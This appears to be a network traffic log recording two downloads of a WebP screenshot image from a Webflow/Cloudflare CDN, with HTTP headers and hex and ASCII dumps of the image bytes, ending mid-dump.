2024-12-18 16:17:42 UTC	956	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:17:42 GMT Content-Type: image/webp Content-Length: 106290 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 5028 Accept-Ranges: bytes Set-Cookie: __cf_bm=KRjfIPFk097oAw5jSSL6YRlZd335RhTrcTqpE0dTfjo-1734538662-1.0.1.1-pW6qJqt6dRvDKiCxXrHX2B33dhF.Sta3kZVYrmsLzgjNKJ_Hth5N_lyGZoNLIfVTwdA8aqITZiz9uKPOrYm87w; path=/; expires=Wed, 18-Dec-24 16:47:42 GMT; domain=.prod.website-files.com; HttpOnly; Secure; SameSite=None Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f4076ef69204262-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 16:17:42 UTC	413	IN	Data Raw: 52 49 46 46 2a 9f 01 00 57 45 42 50 56 50 38 20 1e 9f 01 00 b0 3e 06 9d 01 2a cd 06 d3 03 3e 91 46 9d 4b a5 a3 a3 2c a4 b4 39 41 90 12 09 69 6e fc 66 c7 59 0c d2 1b b1 ba dc a8 13 20 6a 2e 19 b3 a7 7f 93 ee ad bf d6 f2 e6 5f fb 29 7c 75 e8 c2 ff e6 f9 82 02 3d f8 3f dd ff 17 f9 03 27 4d cb 9e 57 bc dd e6 cb fc df fd ff 63 1f d9 7f dc fb 01 fe ac 74 ab fe ff fe ab f5 e3 dc 37 ed 27 ed 9f bc 6f fd 3f dc 8f 7b 5f d9 fd 40 3f 93 7a 5c 7a 99 7e f4 7b 07 ff 20 ff 43 ff ff da 57 ff 5f b2 ef f7 cf fc de b5 9f f5 7d 40 3f ff fb 6a 74 a7 f8 7f f3 ef eb 3f d8 3f c2 7f 91 fe b1 ff ff e5 2f c7 ff 3c fe cd fd af fc 5f f9 5f ee 1e 8e fe 47 f3 cf e2 3f b7 7f 96 ff a7 fd e3 da 5f fc 0f f2 1e 1b fd 17 f9 5f f7 5f e1 bf ce fb 11 fc 9f ed b7 e5 7f bb 7f 96 ff c5 fe 13 e6 87 Data Ascii: RIFFWEBPVP8 >>FK,9AinfY j._)\|u=?'MWct7'o?{_@?z\z~{ CW_}@?jt??/<__G?___
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: ff 6b fb 9b ed eb f4 6f f4 df fb 7f d3 ff b7 f9 09 fe 75 fd c7 fe c7 f8 ef f4 bf b7 df ff ff ff fd 7f ff ed f8 6d f9 ff ff ff e2 7b f7 ab ff ff ff 71 cc df 2d ee f9 66 10 24 4d f2 cc 20 45 17 00 ac f3 ff 0f 2e de 4c 27 26 9f cd 5e 7f e1 e5 db c9 84 e4 d3 f9 ab cf fc 3c bb 79 2b b9 2d b9 2b 8b 92 35 f7 88 ec b7 05 12 e2 d0 aa 62 c0 1f 97 46 54 4d f2 a4 63 ac f3 d3 1a fa ec f3 fe df 7f bf af 0b e7 03 4a 4d 41 a4 a1 dc ba 24 c3 00 c6 60 2b f1 78 91 5d 15 b4 a2 20 1c dc 37 6b 63 7c b2 ef 35 fe 11 aa eb 25 cd 78 15 57 7b b6 80 26 34 a8 19 b1 d3 0a d8 3a 07 74 0e e8 1d d0 3b a0 77 40 ee 81 dd 03 ba 07 74 0b e0 28 b9 54 29 61 36 46 c6 eb d0 fd ca aa 12 96 8a ac 22 8b b1 b8 fb fc ea 25 5c 75 c8 ba d2 bc fe 27 44 0b 9f 80 05 e2 11 9a b5 a5 d9 7d 10 13 33 fc 02 d6 Data Ascii: koum{q-f$M E.L'&^<y+-+5bFTMcJMA$`+x] 7kc\|5%xW{&4:t;w@t(T)a6F"%\u'D}3
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: 3e 36 4f e5 d1 95 13 7c b3 08 12 26 f9 66 10 24 4d f2 cc 20 48 9b e5 98 40 91 37 cb 30 81 22 6f 8d 40 ff 80 fd f1 8c 50 08 b4 b9 1f 76 3e e1 c4 54 23 56 75 3e e3 05 46 4d ec 13 46 cc 5c ce 32 bc b9 b4 03 dd 7d f9 20 81 8d fa 4e 09 20 92 98 da a1 4d fe d6 88 1b 76 25 cb 55 a2 60 61 82 ef 22 bd 79 77 34 fe 66 2d f0 e8 08 a9 07 29 eb 05 3f a7 43 95 b2 b0 b1 3e e2 fc f8 3b 8d f9 ff 87 97 6f 26 13 93 4f e6 af 3f f0 f2 ed e4 c2 72 69 fc d5 e7 fe 1e 5d bc 98 4e 4d 3f 9a bc ff c3 cb b7 93 09 c9 a6 b8 dc 8d 15 ae 19 d5 cd a3 b9 b4 13 46 5a b4 c3 b5 26 1f f1 20 21 34 0b ee 82 5b 5d 8c aa c0 e7 15 e3 4a fe 92 d5 f2 19 5a 2a 98 63 24 16 7e c9 78 61 3e 5f 8b 2b d4 7b 72 69 74 88 42 9b a2 ed c2 49 cf 52 ed f4 64 7c 94 25 62 af 25 a9 ae 4f 7c 94 15 22 2d 1d 89 4d ce 76 Data Ascii: >6O\|&f$M H@70"o@Pv>T#Vu>FMF\2} N Mv%U`a"yw4f-)?C>;o&O?ri]NM?FZ& !4[]JZ*c$~xa>_+{ritBIRd\|%b%O\|"-Mv
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: b5 91 06 c8 8c 53 c2 f4 eb a9 bc 65 3c 58 e1 c2 05 6b f9 d3 2e 38 b8 4d 7c f3 44 d8 66 18 af 75 f8 24 8d c3 ab 04 f5 f8 0f ff 91 74 25 c4 3a c2 71 03 6d 7b 73 ed 44 cc f0 3d 7b f4 b9 60 c0 2e cc 49 a8 6a f5 1f 73 26 fc 38 6a fe 13 f6 d4 40 44 56 64 a1 8b b8 e2 ec b6 55 92 88 1c cb 46 4b 38 73 70 41 e9 b2 66 48 25 60 26 70 b8 61 02 44 d5 14 3c 1a 0a 89 b1 df 40 90 51 d8 e2 a0 b8 dc a4 44 b0 6d 5e ee 2e bb 8d ca 7f 86 85 a2 ce b1 49 e4 bd 73 54 5c 38 14 e8 28 64 bc f8 fe 27 97 a7 8e f4 64 6f e3 3b 94 b1 7a 8a de e7 4a d6 3f fb 77 17 5d a6 e6 4d 7d 74 59 62 6f 15 00 3c 1c 48 b7 6b 00 71 30 16 5f 9f 4f d1 b9 29 e1 92 7b 72 f5 ed 8f 47 18 a9 98 ba 05 14 c6 9d f0 fb d5 8d 3a 3b 1b 6f 75 50 43 a0 77 a7 f4 cd cc 95 e9 2f 96 64 8c 6e 08 a2 2b a3 72 5b 2e ac 0d d9 Data Ascii: Se<Xk.8M\|Dfu$t%:qm{sD={`.Ijs&8j@DVdUFK8spAfH%`&paD<@QDm^.IsT\8(d'do;zJ?w]M}tYbo<Hkq0_O){rG:;ouPCw/dn+r[.
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: 90 4e 69 ca fb ad 61 ec 7d 85 23 35 ec 20 dc 42 bf 6d 4b 2b 9f 04 3a 3c 58 00 2f 86 31 9e 71 2b 34 97 6b c6 11 81 26 39 48 56 4b 83 6c 2f 79 36 ff 0b f5 eb 65 fc 23 90 1d 69 15 79 a7 2e cb 40 df 9d a1 e0 e4 78 05 11 f4 37 d0 52 c1 98 c8 78 13 39 18 30 3c bf f4 d8 76 ec ba 3b 52 9f f9 de 92 f9 66 08 de 63 93 ee 84 56 82 41 a3 2a 13 80 ff 9f 70 e3 98 8e b1 e4 a2 ef ab 8a 15 f6 06 75 c3 23 9c 23 6f 0e 90 7a fb e6 07 b6 51 77 c3 6a 28 dd 5c ac ce 2e c8 40 3b 6f c6 d8 3d 6e 39 e9 6c 34 ff 36 0a d9 43 d5 52 86 e4 95 5f 22 76 db 40 fc 04 ab b6 be 9c de c8 a3 c9 05 4c c2 36 83 a0 a1 92 f7 d9 11 f9 f3 52 f3 e4 d6 be 13 d1 3c 38 d0 15 5a 45 4e 19 3a 1b 30 1b f3 14 1f da 89 10 6a 1e 0f e5 07 5e 83 6f fd e4 34 56 c6 fc 37 97 d4 1e ca e4 65 5d d9 23 44 35 c8 b1 1f 82 Data Ascii: Nia}#5 BmK+:<X/1q+4k&9HVKl/y6e#iy.@x7Rx90<v;RfcVA*pu##ozQwj(\.@;o=n9l46CR_"v@L6R<8ZEN:0j^o4V7e]#D5
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: b3 91 41 80 b6 29 90 34 54 97 97 60 d0 23 ec 0c d9 55 5f fa 43 86 4a 6a 17 fa 0a 1a 3c eb 19 1b 11 a1 ea 9d 62 1e 13 08 71 87 6f 27 4b d9 b1 d6 1f cd ec 9a 60 86 56 7d 93 2c 06 12 24 53 1c 98 96 cb d5 5e 28 2f 15 6c 98 d6 3d 24 66 2f 19 93 13 2c 61 11 4e 1d 0d 14 a6 43 96 19 e7 b8 79 e3 43 b5 c8 55 89 33 d4 3b c0 9c 97 71 73 f2 63 e5 f4 64 87 ae a1 ed 52 d5 3a 98 b2 b4 d4 e3 2e 04 a0 cb fd 1e 62 de e5 95 a6 a6 fd 85 f3 8c 79 41 eb 6e f9 e5 fb 16 61 12 2f 69 42 35 59 27 0d 0f 53 f8 3b bb 15 e9 c2 85 cd 65 f7 e4 99 e9 ae 8a 06 b5 04 46 28 68 44 ea 27 1a 35 dc 38 13 3e 4e 82 b3 c2 89 db 28 fa 9a f8 ec 42 68 ad be 17 29 80 04 d5 4f 57 43 45 6c 6f 99 64 d3 1a 7a 1e 8a 5a 7b bc ff c3 cb b7 93 09 c9 a7 f3 56 e2 9e a9 1e e9 ca ea 2a f1 76 37 25 f8 8b 09 e0 dd b7 Data Ascii: A)4T`#U_CJj<bqo'K`V},$S^(/l=$f/,aNCyCU3;qscdR:.byAna/iB5Y'S;eF(hD'58>N(Bh)OWCElodzZ{V*v7%
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: a1 a9 16 1a 98 f8 36 b2 35 fe 23 b8 dd c9 33 d3 64 82 34 24 8b 7c 21 ad 10 95 1a f1 a9 5f b9 1e fe b5 aa 9f 3f 6e 5f 39 ee f8 f9 3e 21 43 4d 0e 88 f0 7a 48 9b e5 98 40 91 49 b0 e9 34 03 cc 44 ed 5a 3e 17 e1 e5 db c9 84 e4 d3 f9 ab cc c1 ec 06 dc 60 c7 f4 3c b2 6d 9f b8 3e 8a 3c 17 e9 14 38 b2 72 69 fc d5 e7 fd 93 27 7e 03 76 79 ff 87 97 6f 25 30 70 61 1c 91 8d d9 e7 fe 1e 5d bc 98 4e 4d 3f a9 73 7d 97 aa bb e5 bc 30 17 1a 59 2f 62 79 e9 d9 80 92 13 11 3a 0f 35 b2 bb c7 d9 fd 93 d0 0a 7e 5e 93 13 5e d5 6d 1c b6 5d 01 bd 60 d6 4b 74 78 7d 40 b2 eb 0c 07 f6 7e 8d 8a ca dc 53 15 40 30 73 47 19 d8 28 49 11 e1 f2 ac 63 20 c7 10 17 e2 2c 76 92 74 0b cf d8 36 61 02 44 de 16 61 f7 b1 80 a9 67 56 5c 09 2f de 62 6f 9e ac 68 7e 9c bc 72 2a ba a7 8e 6e 6f 9a e7 3b 9c Data Ascii: 65#3d4$\|!_?n_9>!CMzH@I4DZ>`<m><8ri'~vyo%0pa]NM?s}0Y/by:5~^^m]`Ktx}@~S@0sG(Ic ,vt6aDagV\/boh~r*no;
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: 5b 38 f5 4d 44 3c d1 1a d3 63 fb cf 9b 71 b2 45 49 c6 a3 9f d8 e6 e2 21 3c 98 49 c9 a7 f3 57 9f f8 79 76 f2 60 cc ff 0a a5 6f 46 84 42 f9 18 ef a3 0f 2e de 4c 27 22 09 c8 9b b7 91 7d c5 84 f3 57 9f 10 d7 22 c4 b1 39 34 fe 6a f3 ff 0f 2e dc fb 16 16 37 da 13 f2 06 de 00 e1 7d 83 fb 7e cd 5f 0d bd d6 da 5c 72 d1 ef fd 0e 3c 73 c2 b9 bb 2a db b8 a3 83 b4 50 75 76 49 84 bf b9 6c 14 43 f7 0e 43 ef aa fd dc 5a 8e 91 b3 b1 aa 43 99 f1 ff 23 9e da 85 2a 44 21 f5 43 85 8f be d8 32 18 13 01 78 d6 fe 8b b6 5b f2 cb 70 85 d2 32 30 1f e1 42 09 06 c5 a0 cb 12 d9 9a e2 e8 e0 42 f9 5d 59 da a6 4f 35 96 f7 29 cf 35 a6 58 e8 3b 52 ae fa 83 84 68 6e f2 80 fa ed 76 3c 45 13 3b a2 59 d7 4d f1 67 de 50 58 87 03 01 61 08 96 65 9e f3 f7 78 62 39 8b 11 23 3c 2a 1e 61 d1 2c 6a 44 Data Ascii: [8MD<cqEI!<IWyv`oFB.L'"}W"94j.7}~_\r<sPuvIlCCZC#D!C2x[p20BB]YO5)5X;Rhnv<E;YMgPXaexb9#<*a,jD
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: 12 9b 9c ed 07 c9 42 56 2a e0 4d 0f d9 28 29 f4 ef 33 62 7e b6 06 c6 4b f4 e2 2d 1d 89 4d ce 76 83 e4 a0 ba 50 12 3f 9e a2 fd 38 88 2f 62 53 73 9d 92 b5 68 03 5a c5 e4 b5 35 c9 ef 92 82 a4 45 a3 b1 29 b9 cc 26 7c 17 46 7e 22 0d cc 57 f8 84 e9 74 93 fb 7e 58 0a e4 5c ad 58 6e 36 b5 55 97 f3 d9 66 10 21 c1 3a e9 db d8 46 95 63 cd e7 5f c1 20 d7 b2 86 7c e7 a1 30 99 3d 74 93 e2 c4 d9 0a fd 6d c9 56 13 79 57 00 9f 08 24 55 ff 66 f9 40 28 a9 f7 25 d2 73 aa 86 29 1a e1 f3 65 e3 84 ae 5d 19 51 37 86 c8 ae 9c fb b0 91 05 2b 2c b4 72 65 06 7a 82 85 09 a4 6c a3 7b e9 35 c8 3f 13 2c 23 e5 f3 fc 2c 92 aa 36 e9 7c e4 ae ac b9 2d 9c 32 9f 72 3a db 4d 90 3e 2c b9 37 6e 80 a2 49 32 6f 75 8a 33 05 af 1d 55 1a ae 85 25 2d 17 91 86 61 78 88 b3 b5 9a 1f f2 62 89 bd 97 c4 0d Data Ascii: BV*M()3b~K-MvP?8/bSshZ5E)&\|F~"Wt~X\Xn6Uf!:Fc_ \|0=tmVyW$Uf@(%s)e]Q7+,rezl{5?,#,6\|-2r:M>,7nI2ou3U%-axb
2024-12-18 16:17:42 UTC	1369	IN	Data Raw: 2b 7d 2c c2 04 8f 5d 4f 47 f7 86 84 50 0e 0d 83 8c c8 5d eb 72 df 61 88 28 df 96 6f 14 6b f0 5c aa a4 59 ef 41 4c 74 d6 06 df a3 38 a0 b8 28 19 e3 2a 06 fc d0 ab 6b c7 fd f1 49 2c cb ad 1d a7 24 6c 0c c2 50 a4 0f f1 cb 03 36 ea b9 7d d6 03 9b 8b 9b 2e a1 fa a9 21 31 ef 18 ff 36 12 a2 50 16 9e 5a 24 d9 59 35 22 57 87 af c3 65 1f 57 41 93 68 f1 c2 22 2e f9 a2 82 79 c2 dd da 4e 26 37 90 39 10 33 4d 6c ff 90 92 84 a2 ba b2 6f e1 87 05 44 65 91 3c ee d7 e7 9e 09 3d 90 7e 2d 05 4d 36 8d d6 a8 3b 17 24 eb a4 21 64 47 22 cd f4 f2 16 99 d7 f2 0a f5 d8 c0 ec 5c b8 39 3e 56 65 ff bc 89 82 cf c3 cd 7f a2 04 5f 43 18 e6 02 0a 01 47 17 9b 0e 64 10 05 1c 66 98 c4 f8 7d 43 59 34 db f6 39 94 77 f2 b4 7d 96 fd ea 81 ca 0e 9b 5f ae f2 0c ec 68 fc 08 47 2e 35 7f b7 9d 79 14 Data Ascii: +},]OGP]ra(ok\YALt8(*kI,$lP6}.!16PZ$Y5"WeWAh".yN&793MloDe<=~-M6;$!dG"\9>Ve_CGdf}CY49w}_hG.5y

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:44 UTC	609	OUT	GET /5f15081919fdf673994ab5fd/656e7a8eaa7a23c65aeb7444_Gmail-In-App-Screenshot-(1080p).webp HTTP/1.1 Host: cdn.prod.website-files.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=KRjfIPFk097oAw5jSSL6YRlZd335RhTrcTqpE0dTfjo-1734538662-1.0.1.1-pW6qJqt6dRvDKiCxXrHX2B33dhF.Sta3kZVYrmsLzgjNKJ_Hth5N_lyGZoNLIfVTwdA8aqITZiz9uKPOrYm87w
2024-12-18 16:17:45 UTC	675	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:17:44 GMT Content-Type: image/webp Content-Length: 106290 Connection: close x-amz-id-2: ykOAIFjBYjIASAiCYVBMeSrMGA6UWk+uKxpq3MpyXwVNqfU1hBcYHQ7hMWTfiN4oaVDzl9stS/sm+R7QzApeYnSnR+sJXig5QtARV1Cx+9Y= x-amz-request-id: F3KQ37YXZ9TVGVHR Last-Modified: Tue, 05 Dec 2023 01:19:11 GMT ETag: "428183bfb7c31d8c3bcc985dac004681" x-amz-server-side-encryption: AES256 Cache-Control: max-age=84600, must-revalidate x-amz-version-id: pafjt1WRdKFeFq9Cn_ncOtPAOJJamed. CF-Cache-Status: HIT Age: 5030 Accept-Ranges: bytes Access-Control-Allow-Origin: * Server: cloudflare CF-RAY: 8f4076ff5f9c17b5-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 16:17:45 UTC	694	IN	Data Raw: 52 49 46 46 2a 9f 01 00 57 45 42 50 56 50 38 20 1e 9f 01 00 b0 3e 06 9d 01 2a cd 06 d3 03 3e 91 46 9d 4b a5 a3 a3 2c a4 b4 39 41 90 12 09 69 6e fc 66 c7 59 0c d2 1b b1 ba dc a8 13 20 6a 2e 19 b3 a7 7f 93 ee ad bf d6 f2 e6 5f fb 29 7c 75 e8 c2 ff e6 f9 82 02 3d f8 3f dd ff 17 f9 03 27 4d cb 9e 57 bc dd e6 cb fc df fd ff 63 1f d9 7f dc fb 01 fe ac 74 ab fe ff fe ab f5 e3 dc 37 ed 27 ed 9f bc 6f fd 3f dc 8f 7b 5f d9 fd 40 3f 93 7a 5c 7a 99 7e f4 7b 07 ff 20 ff 43 ff ff da 57 ff 5f b2 ef f7 cf fc de b5 9f f5 7d 40 3f ff fb 6a 74 a7 f8 7f f3 ef eb 3f d8 3f c2 7f 91 fe b1 ff ff e5 2f c7 ff 3c fe cd fd af fc 5f f9 5f ee 1e 8e fe 47 f3 cf e2 3f b7 7f 96 ff a7 fd e3 da 5f fc 0f f2 1e 1b fd 17 f9 5f f7 5f e1 bf ce fb 11 fc 9f ed b7 e5 7f bb 7f 96 ff c5 fe 13 e6 87 Data Ascii: RIFFWEBPVP8 >>FK,9AinfY j._)\|u=?'MWct7'o?{_@?z\z~{ CW_}@?jt??/<__G?___
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 39 a3 81 2e d6 6e b7 46 7e 35 52 2f 35 4a 18 e6 71 6c a8 84 7e cc 46 a7 42 f5 4c 58 bc 2b d0 0f d0 53 13 e5 bc d6 03 ca 0a 84 2b 0f 30 2b 63 7c b3 bb 9f 46 ca 09 c3 ca de e4 99 ba 9f 03 3b 13 4f 89 10 69 ec 60 ce 0b 44 eb 83 65 7a 2b 75 52 6a bb 49 0e d5 39 b4 a0 65 03 ef 71 2e f5 8a 3b d1 75 b0 63 31 b0 27 69 74 6c ce bf b4 c7 b4 46 da 12 f8 ca 64 78 b3 f0 70 4e 8e 1d 0d 15 b1 be 59 84 09 13 7c b3 08 12 26 7e 3e 51 19 b2 0d 6f 3d f8 31 60 d5 29 21 b4 64 e8 8c 9f a1 c6 f9 89 41 b7 ca 8d f5 f4 7e 94 f5 ae 88 b0 93 38 03 89 bd f3 51 95 45 ba 64 6a 08 10 56 af 60 55 f4 19 f0 58 55 51 ca fa cf f8 6f e6 7d a9 15 70 65 25 fd 2d a7 df 48 df 84 ff f6 c3 d4 4a 95 37 0f cf 03 a3 9c d9 15 fd 35 38 05 2d b8 df bb 0a a0 c8 22 c1 3c 85 c9 4f 97 5f 1e 93 4e 84 c5 88 3b Data Ascii: 9.nF~5R/5Jql~FBLX+S+0+c\|F;Oi`Dez+uRjI9eq.;uc1'itlFdxpNY\|&~>Qo=1`)!dA~8QEdjV`UXUQo}pe%-HJ758-"<O_N;
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 6a 6b 93 df 25 05 48 8b 47 62 53 73 9d a0 f9 28 4a c4 91 0d af 9e d1 38 18 34 e0 a4 a6 4c 9f d8 2a 77 24 55 cf 99 bc 6e 91 e0 86 3d a7 61 2d 2b 15 ba d9 a1 2b 15 79 2d 4c e5 fd 4e 87 2c a3 a9 1c 5f 41 32 39 4d 08 ff d9 0f 4c 22 76 cd 18 f0 1e 8f f5 78 01 f5 e6 98 b0 70 41 33 f2 4f e7 fb fc 33 7e a1 f0 3d ec 57 12 bf df f5 d7 c3 65 1a 68 dc d0 64 61 ba b9 61 bf 75 7c 10 67 95 42 5f 27 1c 11 61 dd 0f ac 75 5e c9 cd 5f 33 d4 92 04 50 70 51 37 68 e1 0c e3 a0 ce 2f 97 0c be 46 ad 74 5d 11 c1 c5 0c c2 cb ce ab 6b d6 e5 eb d6 b0 7f 2d 21 21 18 2e b7 37 66 06 80 8d ba 06 86 59 e9 e4 d3 5f 5f 03 de f7 dc 7a c3 57 30 01 1a fa 7e 31 db e2 16 3f 1e 3a 2c c7 7e 90 71 15 d4 ad 42 34 c3 40 24 7e 93 80 48 53 e3 b7 4a 33 a1 c6 e3 45 5f 7a 9a dc 12 a6 63 24 cc 8f 3e 24 23 Data Ascii: jk%HGbSs(J84L*w$Un=a-++y-LN,_A29ML"vxpA3O3~=Wehdaau\|gB_'au^_3PpQ7h/Ft]k-!!.7fY__zW0~1?:,~qB4@$~HSJ3E_zc$>$#
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 0f 0d 5e 7f e1 e5 db b1 f7 e9 c1 e1 7e 53 fc 3c bb 79 30 9a e8 c5 91 67 cd a9 28 a0 28 f7 0d 2a a1 78 c0 d1 cf b0 ce 23 b4 05 f1 36 c1 d1 ef fb 32 d7 b4 ab 7e a0 e1 12 55 26 25 5f 2c c2 04 8f 5a 49 28 d1 16 d7 3f 7d c1 5e f5 68 61 6e 52 88 f8 03 c7 00 17 9d 03 5b 86 7a 96 3a 26 e8 e8 88 4b 04 fe 9f 31 17 59 ef e2 1a 9f 56 cb 76 99 58 d8 27 5c 9e 9f 98 dd 5a 86 5b 6f 5e 15 d9 38 26 d6 af a7 cf 91 2a 76 23 ed 93 a7 3c 60 7e 2e b9 a1 34 3b 46 50 58 ba 3a 43 32 0e 56 ba e0 b5 f5 82 59 87 48 42 22 86 a4 d8 37 bd f5 11 d6 6e af b8 f3 27 e7 09 90 0b c0 35 d5 4c 1a 78 79 94 a1 39 8d 10 4a 56 b9 4e 20 50 b5 be 8c eb f3 e0 72 20 7b cb ef 43 17 b3 2c 82 09 8d ac 05 0f 90 86 5e b5 0c 8b 51 2a 9d 64 ee f6 78 95 9a a6 20 9f 76 f1 e6 80 65 5a 73 09 e5 ed b1 03 58 ba 5d Data Ascii: ^~S<y0g((x#62~U&%_,ZI(?}^hanR[z:&K1YVvX'\Z[o^8&v#<`~.4;FPX:C2VYHB"7n'5Lxy9JVN Pr {C,^Q*dx veZsX]
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 1e 5d bc 98 4e 4d 3f 9a bc ff c3 cb b7 93 09 c9 a7 f3 43 82 17 09 5c 3c 53 88 45 f3 38 ff cc a4 26 be 4d 1f 2c c2 04 8f 5b 75 54 fa c5 fb 63 43 db 62 d5 4a f6 f6 13 a0 70 34 69 37 50 88 ed 82 b0 5f 64 c2 67 09 98 2d 23 b2 9f 92 e0 b0 86 47 1e 3a 6a 75 eb 79 b4 70 83 f5 55 a7 dd 5b d0 f8 b7 41 f8 a6 46 5c 70 d0 06 7a a5 02 e6 b2 29 05 74 ef 84 5d 56 48 64 35 9f e0 3b 38 4e 02 10 00 9e 3d a0 58 a7 6b f8 32 b4 ab af 53 09 54 27 72 eb ee 03 a9 ad 73 52 88 8b 84 71 e4 26 a5 ec bc 34 e7 a0 e2 ea ed 50 e4 7d 0e 89 5f ab 6f fd e5 ba 14 48 98 2e b9 e4 c7 3b eb 61 f8 11 b6 6c f4 40 88 e6 20 1d dd aa 47 41 cb ad 1a ec e1 34 cf 11 6f 5d 18 50 01 31 bb 8f bb 10 e0 e7 57 dc 48 ca be d0 a4 fc bb 9c a6 72 bf 3a 79 54 ce 99 b2 5e 1a 6d ae 11 a8 c1 7f 06 64 6d 8c 8a ef 7a Data Ascii: ]NM?C\<SE8&M,[uTcCbJp4i7P_dg-#G:juypU[AF\pz)t]VHd5;8N=Xk2ST'rsRq&4P}_oH.;al@ GA4o]P1WHr:yT^mdmz
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 68 3b ee 56 28 82 b6 44 b3 4f b1 6e ea 8f c5 b1 ab a7 0e c6 c2 5b a4 a6 a6 34 99 a5 6d 03 f2 f4 97 cc 1e 7d ad 58 6b 63 88 8a 31 cc 96 16 1c 83 bb b5 9d bc 0f 47 78 39 b0 58 0f cf 66 1b 03 75 bb 83 b9 a7 7f 78 5d c7 b0 df 58 d8 a5 28 7b 2d 42 71 5a 32 9c fd ed 43 33 2f 49 7c ae 07 39 2c 11 26 f3 73 c0 b0 a1 b6 7d fd 36 b3 b5 a8 46 56 d6 f0 1c 2e 44 6e 4b 5f a9 f3 93 5b 39 33 6a c2 fd 3d 86 fd cd f4 ef 09 86 f5 98 3e cc 5a 6b fa d3 98 72 c7 4b 76 a6 a9 6f 58 d2 39 a8 00 cb c3 94 82 e5 24 06 29 be 73 ce e9 9e f4 46 57 b6 c0 9e f6 a6 bb df 08 e9 d9 16 cb 37 03 bd 98 14 43 7d 9b 7b ef 34 ff a5 6a 4c 8d e1 d6 ed a0 90 3d e4 81 52 7c 47 c1 4c 6f f2 7a 85 7c 35 1b 70 62 55 cc 5d c8 c1 8c 7d 1b 2b b0 73 c4 a9 6f cd 79 c4 0b 42 99 19 17 51 0d 21 46 fc ff 8e 10 d1 Data Ascii: h;V(DOn[4m}Xkc1Gx9Xfux]X({-BqZ2C3/I\|9,&s}6FV.DnK_[93j=>ZkrKvoX9$)sFW7C}{4jL=R\|GLoz\|5pbU]}+soyBQ!F
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: 97 dc 23 ce da ee 0c 71 7c 08 57 8d ea c8 88 bd 38 c4 ab 72 aa cb 0c fb 1e f0 88 df 96 27 d4 2e e7 3e 09 ef da 6d 5e 68 dd 97 44 6e 43 0f a5 78 d8 96 b5 7b ed aa 8c 7f e4 51 c6 00 0f 60 c1 ab c9 f1 98 4f ea a7 e8 4d f6 f5 d1 7c 62 ca 0a fc 0d 53 7d cb c3 7b dd f7 68 49 ff 85 02 73 71 4d 76 17 21 a3 86 a8 c6 37 e4 ed 11 d7 30 1a dc bb f3 fb 6d b2 87 d4 d3 0d d8 9f 7d 83 8d 79 ea b0 1b 25 33 e4 7b fa e5 af 56 ab 75 a8 35 93 b5 b7 5d e2 33 4c 87 6e e5 67 65 de e5 2c 2a 01 0a 35 31 09 c2 2c e6 1f 2c 01 80 80 f7 08 80 b2 cc e0 7e 77 27 a7 77 56 10 8e 4d 8e e1 56 96 36 3c 86 bd c7 21 1b 56 94 18 50 3c 3e 76 a1 48 f5 78 9a 48 c6 49 95 18 b3 02 fb f2 57 33 78 50 c2 99 b1 77 d7 f1 3a ec 36 3c d4 45 ad 47 44 4d 8d 38 25 cf 28 f3 ed cd 9a 3a bf 60 6f 77 99 d6 9e 89 Data Ascii: #q\|W8r'.>m^hDnCx{Q`OM\|bS}{hIsqMv!70m}y%3{Vu5]3Lnge,*51,,~w'wVMV6<!VP<>vHxHIW3xPw:6<EGDM8%(:`ow
2024-12-18 16:17:45 UTC	1369	IN	Data Raw: b2 30 78 3f 7a 8d 7b 0c da 26 3e ef a9 95 c6 8e 9a 2e cd cf a4 79 0d 6b 57 ba 17 bc 2f 06 88 c8 9d c1 91 85 5c 14 90 05 e8 4b 2d be 2d 68 ce 6a 69 07 ed 67 2e ac 4c 6b b7 da 39 0e af 7c a1 f8 97 bf d9 a4 2b 79 f2 8d 67 76 2c 58 00 da 2f d6 f8 ad c7 74 4e 6b fe 79 6b 8b 44 7b d2 51 a5 44 de 8c 40 99 78 61 72 a9 a2 eb 38 c3 e9 80 b6 9b f5 68 43 3f 21 07 82 c9 af 05 90 33 19 e3 8d 50 dc 70 42 08 89 e2 9d a0 af 9e c3 7c 78 e1 8a 36 4f 8d 25 6b ee e6 68 8e 34 fa 23 22 83 fd 2c 1e 5c d2 86 bc c4 26 e3 31 1c 16 12 07 a0 e4 b7 dc cd ca 11 90 61 73 3f c1 c3 f4 fb eb ff b8 b7 6f 53 f4 66 10 cb 36 07 b8 31 e4 5c 7d cd 6e 0d 2e 03 1e 6b 76 01 6e 64 9e 19 5f 2b 8a c7 7f 4a e7 de a4 4b b9 48 35 10 af 3a e7 9d cf e5 32 30 48 17 6d b4 02 38 b3 d2 a7 8c 81 fb 